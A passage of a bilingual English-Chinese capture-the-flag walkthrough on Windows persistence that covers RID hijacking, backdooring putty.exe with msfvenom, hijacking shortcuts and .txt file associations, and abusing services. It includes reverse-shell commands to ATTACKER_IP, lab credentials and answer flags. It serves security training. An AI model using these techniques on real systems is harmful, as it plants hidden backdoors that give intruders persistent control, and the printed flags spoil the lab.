&lt;th align=&quot;center&quot;&gt;&lt;strong&gt;Username&lt;/strong&gt;&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;thmuser2&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;Password&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Password321&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;We can log in with those credentials to obtain the flag.&lt;br&gt;我们可以使用这些凭据登录以获取标志。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-9.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Log in to the machine via WinRM using thmuser2 and execute &lt;strong&gt;C:\flags\flag2.exe&lt;/strong&gt; to retrieve your flag.
使用 thmuser2 通过 WinRM 登录到计算机，然后执行 &lt;strong&gt;C:\flags\flag2.exe&lt;/strong&gt; 以检索您的标志。&lt;/p&gt;
&lt;p&gt;RID Hijacking RID 劫持&lt;/p&gt;
&lt;p&gt;Another method to gain administrative privileges without being an administrator is changing some registry values to make the operating system think you are the Administrator.&lt;br&gt;在不成为管理员的情况下获得管理权限的另一种方法是更改某些注册表值，使操作系统认为您是管理员。&lt;/p&gt;
&lt;p&gt;When a user is created, an identifier called &lt;strong&gt;Relative ID (RID)&lt;/strong&gt;** **is assigned to them. The RID is simply a numeric identifier representing the user across the system. When a user logs on, the LSASS process gets its RID from the SAM registry hive and creates an access token associated with that RID. If we can tamper with the registry value, we can make windows assign an Administrator access token to an unprivileged user by associating the same RID to both accounts.&lt;br&gt;创建用户时，将为其分配一个名为“相对 ID （RID）”的标识符。RID 只是一个数字标识符，表示整个系统中的用户。当用户登录时，LSASS 进程从 SAM 注册表配置单元中获取其 RID，并创建与该 RID 关联的访问令牌。如果我们可以篡改注册表值，我们可以通过将相同的 RID 关联到两个帐户来使窗口将管理员访问令牌分配给非特权用户。&lt;/p&gt;
&lt;p&gt;In any Windows system, the default Administrator account is assigned the &lt;strong&gt;RID = 500&lt;/strong&gt;, and regular users usually have &lt;strong&gt;RID &amp;gt;= 1000&lt;/strong&gt;.&lt;br&gt;在任何 Windows 系统中，默认管理员帐户的 RID = 500，普通用户的 RID 通常为 &amp;gt;= 1000。&lt;/p&gt;
&lt;p&gt;To find the assigned RIDs for any user, you can use the following command:&lt;br&gt;若要查找任何用户的已分配 RID，可以使用以下命令：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; wmic useraccount get name,sid

Name                SID
Administrator       S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount      S-1-5-21-1966530601-3185510712-10604624-503
Guest               S-1-5-21-1966530601-3185510712-10604624-501
thmuser1            S-1-5-21-1966530601-3185510712-10604624-1008
thmuser2            S-1-5-21-1966530601-3185510712-10604624-1009
thmuser3            S-1-5-21-1966530601-3185510712-10604624-1010
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The RID is the last bit of the SID (1010 for thmuser3 and 500 for Administrator). The SID is an identifier that allows the operating system to identify a user across a domain, but we won&amp;#39;t mind too much about the rest of it for this task.&lt;br&gt;RID 是 SID 的最后一位（thmuser3 为 1010，管理员为 500）。SID 是一个标识符，允许操作系统跨域标识用户，但对于此任务，我们不会太介意它的其余部分。&lt;/p&gt;
&lt;p&gt;Now we only have to assign the RID=500 to thmuser3. To do so, we need to access the SAM using Regedit. The SAM is restricted to the SYSTEM account only, so even the Administrator won&amp;#39;t be able to edit it. To run Regedit as SYSTEM, we will use psexec, available in &lt;strong&gt;C:\tools\pstools&lt;/strong&gt; in your machine:&lt;br&gt;现在我们只需要将 RID=500 分配给 thmuser3。为此，我们需要使用 Regedit 访问 SAM。SAM 仅限于 SYSTEM 帐户，因此即使是管理员也无法对其进行编辑。要将 Regedit 作为 SYSTEM 运行，我们将使用您机器中 &lt;strong&gt;C:\tools\pstools&lt;/strong&gt; 提供的 psexec：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\tools\pstools&amp;gt; PsExec64.exe -i -s regedit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From Regedit, we will go to *&lt;em&gt;HKLM\SAM\SAM\Domains\Account\Users*&lt;/em&gt; where there will be a key for each user in the machine. Since we want to modify thmuser3, we need to search for a key with its RID in hex (1010 = 0x3F2). Under the corresponding key, there will be a value called &lt;strong&gt;F&lt;/strong&gt;, which holds the user&amp;#39;s effective RID at position 0x30:&lt;br&gt;从 Regedit 中，我们将转到 *&lt;em&gt;HKLM\SAM\SAM\Domains\Account\Users*&lt;/em&gt; 机器中每个用户都有一个密钥的位置。由于我们想修改 thmuser3，我们需要搜索一个 RID 为十六进制 （1010 = 0x3F2） 的键。在相应的键下，将有一个名为 F 的值，该值将用户的有效 RID 保持在位置 0x30：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-10.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Notice the RID is stored using little-endian notation, so its bytes appear reversed.&lt;br&gt;请注意，RID 是使用 little-endian 表示法存储的，因此其字节显示为相反。&lt;/p&gt;
&lt;p&gt;We will now replace those two bytes with the RID of Administrator in hex (500 = 0x01F4), switching around the bytes (F401):&lt;br&gt;现在，我们将用十六进制 （500 = 0x01F4） 的 Administrator 的 RID 替换这两个字节，并在字节 （F401） 之间切换：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-11.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The next time thmuser3 logs in, LSASS will associate it with the same RID as Administrator and grant them the same privileges.&lt;br&gt;下次 thmuser3 登录时，LSASS 会将其与管理员相同的 RID 关联，并授予它们相同的权限。&lt;/p&gt;
&lt;p&gt;For this task, we assume you have already compromised the system and obtained the password for thmuser3. For your convenience, the user can connect via &lt;u&gt;RDP&lt;/u&gt; with the following credentials:&lt;br&gt;对于此任务，我们假设您已经破坏了系统并获取了 thmuser3 的密码。为方便起见，用户可以使用以下凭据通过 RDP 进行连接：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-12.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;&lt;strong&gt;Username&lt;/strong&gt;&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;thmuser3&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;&lt;strong&gt;Password&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Password321&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;If you did everything correctly, you should be logged in to the Administrator&amp;#39;s desktop.&lt;br&gt;如果您正确执行了所有操作，则应登录到管理员的桌面。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; When you log in via &lt;u&gt;RDP&lt;/u&gt;, the existing in-browser view will be disconnected. After you terminate your &lt;u&gt;RDP&lt;/u&gt; session you can get the in-browser view back by pressing &lt;strong&gt;Reconnect&lt;/strong&gt;&lt;br&gt;注意：当您通过 RDP 登录时，现有的浏览器内视图将断开连接。终止 RDP 会话后，可以通过按“重新连接”来恢复浏览器内视图.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-13.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Log in to the machine via &lt;u&gt;RDP&lt;/u&gt; using thmuser3 and execute &lt;strong&gt;C:\flags\flag3.exe&lt;/strong&gt; to retrieve your flag.
使用 thmuser3 通过 RDP 登录到机器并执行 &lt;strong&gt;C:\flags\flag3.exe&lt;/strong&gt; 以检索您的标志。&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Insert flag1 here 在此处插入 flag1&lt;/p&gt;
&lt;p&gt;THM{FLAG_BACKED_UP!}&lt;/p&gt;
&lt;p&gt;Insert flag2 here 在此处插入 flag2&lt;br&gt;THM{IM_JUST_A_NORMAL_USER}&lt;/p&gt;
&lt;p&gt;Insert flag3 here 在此处插入 flag3&lt;br&gt;THM{TRUST_ME_IM_AN_ADMIN}&lt;/p&gt;
&lt;h1&gt;Backdooring Files&lt;/h1&gt;
&lt;p&gt;Another method of establishing persistence consists of tampering with some files we know the user interacts with regularly. By performing some modifications to such files, we can plant backdoors that will get executed whenever the user accesses them. Since we don&amp;#39;t want to create any alerts that could blow our cover, the files we alter must keep working for the user as expected.&lt;br&gt;建立持久性的另一种方法包括篡改一些我们知道用户经常与之交互的文件。通过对此类文件进行一些修改，我们可以植入后门，每当用户访问它们时都会执行这些后门。由于我们不想创建任何可能破坏我们的警报，因此我们更改的文件必须按预期继续为用户工作。&lt;/p&gt;
&lt;p&gt;While there are many opportunities to plant backdoors, we will check the most commonly used ones.&lt;br&gt;虽然有很多机会植入后门，但我们将检查最常用的后门。&lt;/p&gt;
&lt;p&gt;Executable Files 可执行文件&lt;/p&gt;
&lt;p&gt;If you find any executable laying around the desktop, the chances are high that the user might use it frequently. Suppose we find a shortcut to PuTTY lying around. If we checked the shortcut&amp;#39;s properties, we could see that it (usually) points to &lt;strong&gt;C:\Program Files\PuTTY\putty.exe&lt;/strong&gt;. From that point, we could download the executable to our attacker&amp;#39;s machine and modify it to run any payload we wanted.&lt;br&gt;如果您发现桌面上有任何可执行文件，则用户很有可能经常使用它。假设我们发现一条通往 PuTTY 的捷径。如果我们检查快捷方式的属性，我们可以看到它（通常）指向 &lt;strong&gt;C:\Program Files\PuTTY\putty.exe&lt;/strong&gt; 。从那时起，我们可以将可执行文件下载到攻击者的机器上，并对其进行修改以运行我们想要的任何有效负载。&lt;/p&gt;
&lt;p&gt;You can easily plant a payload of your preference in any .exe file with &lt;strong&gt;msfvenom&lt;/strong&gt;. The binary will still work as usual but execute an additional payload silently by adding an extra thread in your binary. To create a backdoored putty.exe, we can use the following command:&lt;br&gt;.exe您可以使用 &lt;strong&gt;msfvenom&lt;/strong&gt; .二进制文件仍将照常工作，但通过在二进制文件中添加额外的线程以静默方式执行额外的有效负载。要创建后门putty.exe，我们可以使用以下命令：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b &amp;quot;\x00&amp;quot; -f exe -o puttyX.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The resulting puttyX.exe will execute a reverse_tcp meterpreter payload without the user noticing it. While this method is good enough to establish persistence, let&amp;#39;s look at other sneakier techniques.&lt;br&gt;生成的puttyX.exe将在用户不注意的情况下执行 reverse_tcp meterpreter 有效载荷。虽然这种方法足以建立持久性，但让我们看看其他更隐蔽的技术。&lt;/p&gt;
&lt;p&gt;Shortcut Files 快捷方式文件&lt;/p&gt;
&lt;p&gt;If we don&amp;#39;t want to alter the executable, we can always tamper with the shortcut file itself. Instead of pointing directly to the expected executable, we can change it to point to a script that will run a backdoor and then execute the usual program normally.&lt;br&gt;如果我们不想更改可执行文件，我们可以随时篡改快捷方式文件本身。我们可以将其更改为指向将运行后门的脚本，然后正常执行通常的程序，而不是直接指向预期的可执行文件。&lt;/p&gt;
&lt;p&gt;For this task, let&amp;#39;s check the shortcut to &lt;strong&gt;calc&lt;/strong&gt; on the Administrator&amp;#39;s desktop. If we right-click it and go to properties, we&amp;#39;ll see where it is pointing:&lt;br&gt;对于此任务，让我们检查管理员桌面上的计算快捷方式。如果我们右键单击它并转到属性，我们将看到它指向的位置：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-14.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Before hijacking the shortcut&amp;#39;s target, let&amp;#39;s create a simple Powershell script in &lt;strong&gt;C:\Windows\System32&lt;/strong&gt; or any other sneaky location. The script will execute a reverse shell and then run calc.exe from the original location on the shortcut&amp;#39;s properties:&lt;br&gt;在劫持快捷方式的目标之前，让我们在 &lt;strong&gt;C:\Windows\System32&lt;/strong&gt; 或任何其他偷偷摸摸的位置创建一个简单的 Powershell 脚本。该脚本将执行反向 shell，然后从快捷方式属性的原始位置运行calc.exe：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Start-Process -NoNewWindow &amp;quot;c:\tools\nc64.exe&amp;quot; &amp;quot;-e cmd.exe ATTACKER_IP 4445&amp;quot;

C:\Windows\System32\calc.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, we&amp;#39;ll change the shortcut to point to our script. Notice that the shortcut&amp;#39;s icon might be automatically adjusted while doing so. Be sure to point the icon back to the original executable so that no visible changes appear to the user. We also want to run our script on a hidden window, for which we&amp;#39;ll add the &lt;strong&gt;-windowstyle hidden&lt;/strong&gt; option to Powershell. The final target of the shortcut would be:&lt;br&gt;最后，我们将更改快捷方式以指向我们的脚本。请注意，执行此操作时可能会自动调整快捷方式的图标。请务必将图标指向原始可执行文件，以便用户不会看到任何可见的更改。我们还希望在隐藏窗口上运行脚本，为此我们将向 Powershell 添加 &lt;strong&gt;-windowstyle hidden&lt;/strong&gt; 该选项。快捷方式的最终目标是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-15.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Let&amp;#39;s start an nc listener to receive our reverse shell on our attacker&amp;#39;s machine:&lt;br&gt;让我们启动一个 nc 侦听器，在攻击者的机器上接收我们的反向 shell：&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ nc -lvp 4445
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you double-click the shortcut, you should get a connection back to your attacker&amp;#39;s machine. Meanwhile, the user will get a calculator just as expected by them. You will probably notice a command prompt flashing up and disappearing immediately on your screen. A regular user might not mind too much about that, hopefully.&lt;br&gt;如果双击快捷方式，则应会重新连接到攻击者的计算机。同时，用户将按照他们的期望获得一个计算器。您可能会注意到命令提示符在屏幕上闪烁并立即消失。希望普通用户可能不会太介意这一点。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-16.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Execute &lt;strong&gt;C:\flags\flag5.exe&lt;/strong&gt; from your reverse shell to get your flag!
从你的反向外壳执行 &lt;strong&gt;C:\flags\flag5.exe&lt;/strong&gt; 以获得你的旗帜！&lt;/p&gt;
&lt;p&gt;Hijacking File Associations&lt;br&gt;劫持文件关联&lt;/p&gt;
&lt;p&gt;In addition to persisting through executables or shortcuts, we can hijack any file association to force the operating system to run a shell whenever the user opens a specific file type.&lt;br&gt;除了通过可执行文件或快捷方式持久化之外，我们还可以劫持任何文件关联，以强制操作系统在用户打开特定文件类型时运行 shell。&lt;/p&gt;
&lt;p&gt;The default operating system file associations are kept inside the registry, where a key is stored for every single file type under *&lt;em&gt;HKLM\Software\Classes*&lt;/em&gt;. Let&amp;#39;s say we want to check which program is used to open .txt files; we can just go and check for the &lt;strong&gt;.txt&lt;/strong&gt; subkey and find which &lt;strong&gt;Programmatic ID (ProgID)&lt;/strong&gt; is associated with it. A ProgID is simply an identifier to a program installed on the system. For .txt files, we will have the following ProgID:&lt;br&gt;默认的操作系统文件关联保存在注册表中，注册表中为每个文件类型存储 *&lt;em&gt;HKLM\Software\Classes*&lt;/em&gt; 一个键。假设我们要检查哪个程序用于打开.txt文件;我们可以去检查 &lt;strong&gt;.txt&lt;/strong&gt; 子项，并找到与它关联的编程 ID （ProgID）。ProgID 只是安装在系统上的程序的标识符。对于.txt文件，我们将具有以下 ProgID：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-17.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;We can then search for a subkey for the corresponding ProgID (also under *&lt;em&gt;HKLM\Software\Classes*&lt;/em&gt;), in this case, &lt;strong&gt;txtfile&lt;/strong&gt;, where we will find a reference to the program in charge of handling .txt files. Most ProgID entries will have a subkey under &lt;strong&gt;shell\open\command&lt;/strong&gt; where the default command to be run for files with that extension is specified:&lt;br&gt;然后，我们可以搜索相应 ProgID 的子项（在本例中 *&lt;em&gt;HKLM\Software\Classes*&lt;/em&gt; 为 ），在本例中， &lt;strong&gt;txtfile&lt;/strong&gt; 我们将在其中找到对负责处理.txt文件的程序的引用。大多数 ProgID 条目都有一个子项，在该子项下 &lt;strong&gt;shell\open\command&lt;/strong&gt; 指定了要为具有该扩展名的文件运行的默认命令：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;&quot; alt=&quot;&quot;&gt;  &lt;/p&gt;
&lt;p&gt;In this case, when you try to open a .txt file, the system will execute &lt;strong&gt;%SystemRoot%\system32\NOTEPAD.EXE %1&lt;/strong&gt;, where &lt;strong&gt;%1&lt;/strong&gt; represents the name of the opened file. If we want to hijack this extension, we could replace the command with a script that executes a backdoor and then opens the file as usual. First, let&amp;#39;s create a ps1 script with the following content and save it to &lt;strong&gt;C:\Windows\backdoor2.ps1&lt;/strong&gt;:&lt;br&gt;在这种情况下，当您尝试打开.txt文件时，系统将执行 &lt;strong&gt;%SystemRoot%\system32\NOTEPAD.EXE %1&lt;/strong&gt; ，其中 &lt;strong&gt;%1&lt;/strong&gt; 表示打开的文件的名称。如果我们想劫持这个扩展，我们可以用一个脚本替换命令，该脚本执行后门，然后像往常一样打开文件。首先，让我们创建一个包含以下内容的 ps1 脚本并将其保存到 &lt;strong&gt;C:\Windows\backdoor2.ps1&lt;/strong&gt; ：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Start-Process -NoNewWindow &amp;quot;c:\tools\nc64.exe&amp;quot; &amp;quot;-e cmd.exe ATTACKER_IP 4448&amp;quot;
C:\Windows\system32\NOTEPAD.EXE $args[0]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice how in Powershell, we have to pass &lt;strong&gt;$args[0]&lt;/strong&gt; to notepad, as it will contain the name of the file to be opened, as given through &lt;strong&gt;%1&lt;/strong&gt;.&lt;br&gt;请注意，在 Powershell 中，我们必须传递 &lt;strong&gt;$args[0]&lt;/strong&gt; 到记事本，因为它将包含要打开的文件的名称，如 . &lt;strong&gt;%1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now let&amp;#39;s change the registry key to run our backdoor script in a hidden window:&lt;br&gt;现在，让我们更改注册表项以在隐藏窗口中运行后门脚本：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-18.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Finally, create a listener for your reverse shell and try to open any .txt file on the victim machine (create one if needed). You should receive a reverse shell with the privileges of the user opening the file.&lt;br&gt;最后，为您的反向 shell 创建一个侦听器，并尝试在受害计算机上打开任何.txt文件（如果需要，请创建一个）。您应该会收到一个具有打开文件的用户权限的反向 shell。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-19.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Once you have backdoored the .txt file handler and spawned a reverse shell, run &lt;strong&gt;C:\flags\flag6.exe&lt;/strong&gt; to get a flag!
一旦你对.txt文件处理程序进行了后门并生成了一个反向shell，就运行 &lt;strong&gt;C:\flags\flag6.exe&lt;/strong&gt; 去获取一个标志！&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Insert flag5 here 在此处插入标志5&lt;/p&gt;
&lt;p&gt;THM{NO_SHORTCUTS_IN_LIFE}&lt;br&gt;Insert flag6 here 在此处插入 flag6&lt;/p&gt;
&lt;p&gt;THM{TXT_FILES_WOULD_NEVER_HURT_YOU}&lt;/p&gt;
&lt;h1&gt;Abusing Services&lt;/h1&gt;
&lt;p&gt;Windows services offer a great way to establish persistence since they can be configured to run in the background whenever the victim machine is started. If we can leverage any service to run something for us, we can regain control of the victim machine each time it is started.&lt;br&gt;Windows 服务提供了一种建立持久性的好方法，因为它们可以配置为在启动受害计算机时在后台运行。如果我们可以利用任何服务为我们运行某些东西，我们就可以在每次启动受害机器时重新获得对它的控制。&lt;/p&gt;
&lt;p&gt;A service is basically an executable that runs in the background. When configuring a service, you define which executable will be used and select if the service will automatically run when the machine starts or should be manually started.&lt;br&gt;服务基本上是在后台运行的可执行文件。配置服务时，您可以定义将使用哪个可执行文件，并选择服务是在计算机启动时自动运行还是应手动启动。&lt;/p&gt;
&lt;p&gt;There are two main ways we can abuse services to establish persistence: either create a new service or modify an existing one to execute our payload.&lt;br&gt;我们可以通过两种主要方式滥用服务来建立持久性：创建新服务或修改现有服务以执行有效负载。&lt;/p&gt;
&lt;p&gt;Creating backdoor services&lt;br&gt;创建后门服务&lt;/p&gt;
&lt;p&gt;We can create and start a service named &amp;quot;THMservice&amp;quot; using the following commands:&lt;br&gt;我们可以使用以下命令创建并启动名为“THMservice”的服务：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sc.exe create THMservice binPath= &amp;quot;net user Administrator Passwd123&amp;quot; start= auto
sc.exe start THMservice
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; There must be a space after each equal sign for the command to work.&lt;br&gt;注意：每个等号后面必须有一个空格，命令才能正常工作。&lt;/p&gt;
&lt;p&gt;The &amp;quot;net user&amp;quot; command will be executed when the service is started, resetting the Administrator&amp;#39;s password to &lt;strong&gt;Passwd123&lt;/strong&gt;. Notice how the service has been set to start automatically (start= auto), so that it runs without requiring user interaction.&lt;br&gt;服务启动时将执行“net user”命令，将管理员的密码重置为 &lt;strong&gt;Passwd123&lt;/strong&gt; 。请注意，服务是如何设置为自动启动的 （start= auto），以便它无需用户交互即可运行。&lt;/p&gt;
&lt;p&gt;Resetting a user&amp;#39;s password works well enough, but we can also create a reverse shell with msfvenom and associate it with the created service. Notice, however, that service executables are unique since they need to implement a particular protocol to be handled by the system. If you want to create an executable that is compatible with Windows services, you can use the &lt;strong&gt;exe-service&lt;/strong&gt; format in msfvenom:&lt;br&gt;重置用户的密码已经足够好了，但我们也可以使用 msfvenom 创建一个反向 shell 并将其与创建的服务相关联。但是，请注意，服务可执行文件是唯一的，因为它们需要实现由系统处理的特定协议。如果要创建与 Windows 服务兼容的可执行文件，可以使用 msfvenom 中的 &lt;strong&gt;exe-service&lt;/strong&gt; 格式：&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can then copy the executable to your target system, say in &lt;strong&gt;C:\Windows&lt;/strong&gt; and point the service&amp;#39;s binPath to it:&lt;br&gt;然后，您可以将可执行文件复制到目标系统，比如说 in &lt;strong&gt;C:\Windows&lt;/strong&gt; 并将服务的 binPath 指向它：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sc.exe create THMservice2 binPath= &amp;quot;C:\windows\rev-svc.exe&amp;quot; start= auto
sc.exe start THMservice2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This should create a connection back to your attacker&amp;#39;s machine.&lt;br&gt;这应该会创建与攻击者计算机的连接。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-20.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Use the reverse shell you just gained to execute &lt;strong&gt;C:\flags\flag7.exe&lt;/strong&gt;
使用您刚刚获得的反向 shell 来执行 &lt;strong&gt;C:\flags\flag7.exe&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Modifying existing services&lt;br&gt;修改现有服务&lt;/p&gt;
&lt;p&gt;While creating new services for persistence works quite well, the blue team may monitor new service creation across the network. We may want to reuse an existing service instead of creating one to avoid detection. Usually, any disabled service will be a good candidate, as it could be altered without the user noticing it.&lt;br&gt;虽然为持久性创建新服务效果很好，但蓝队可能会监控整个网络上的新服务创建。我们可能希望重用现有服务，而不是创建一个服务以避免检测。通常，任何禁用的服务都是一个不错的候选者，因为它可以在用户不注意的情况下被更改。&lt;/p&gt;
&lt;p&gt;You can get a list of available services using the following command:&lt;br&gt;您可以使用以下命令获取可用服务的列表：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; sc.exe query state=all
SERVICE_NAME: THMService1
DISPLAY_NAME: THMService1
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 1077  (0x435)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You should be able to find a stopped service called THMService3. To query the service&amp;#39;s configuration, you can use the following command:&lt;br&gt;您应该能够找到名为 THMService3 的已停止服务。若要查询服务的配置，可以使用以下命令：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; sc.exe qc THMService3
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: THMService3
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2 AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\MyService\THMService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : THMService3
        DEPENDENCIES       : 
        SERVICE_START_NAME : NT AUTHORITY\Local Service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are three things we care about when using a service for persistence:&lt;br&gt;在使用持久性服务时，我们关心三件事：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The executable (&lt;strong&gt;BINARY_PATH_NAME&lt;/strong&gt;) should point to our payload.&lt;br&gt;可执行文件 （BINARY_PATH_NAME） 应指向我们的有效负载。&lt;/li&gt;
&lt;li&gt;The service &lt;strong&gt;START_TYPE&lt;/strong&gt; should be automatic so that the payload runs without user interaction.&lt;br&gt;服务START_TYPE应该是自动的，以便有效负载在没有用户交互的情况下运行。&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;SERVICE_START_NAME&lt;/strong&gt;, which is the account under which the service will run, should preferably be set to &lt;strong&gt;LocalSystem&lt;/strong&gt; to gain SYSTEM privileges.&lt;br&gt;最好将SERVICE_START_NAME（即运行服务的帐户）设置为 LocalSystem 以获取 SYSTEM 权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let&amp;#39;s start by creating a new reverse shell with msfvenom:&lt;br&gt;让我们从使用 msfvenom 创建一个新的反向 shell 开始：&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=5558 -f exe-service -o rev-svc2.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To reconfigure &amp;quot;THMservice3&amp;quot; parameters, we can use the following command:&lt;br&gt;要重新配置“THMservice3”参数，可以使用以下命令：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; sc.exe config THMservice3 binPath= &amp;quot;C:\Windows\rev-svc2.exe&amp;quot; start= auto obj= &amp;quot;LocalSystem&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can then query the service&amp;#39;s configuration again to check if all went as expected:&lt;br&gt;然后，可以再次查询服务的配置，以检查是否一切按预期进行：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
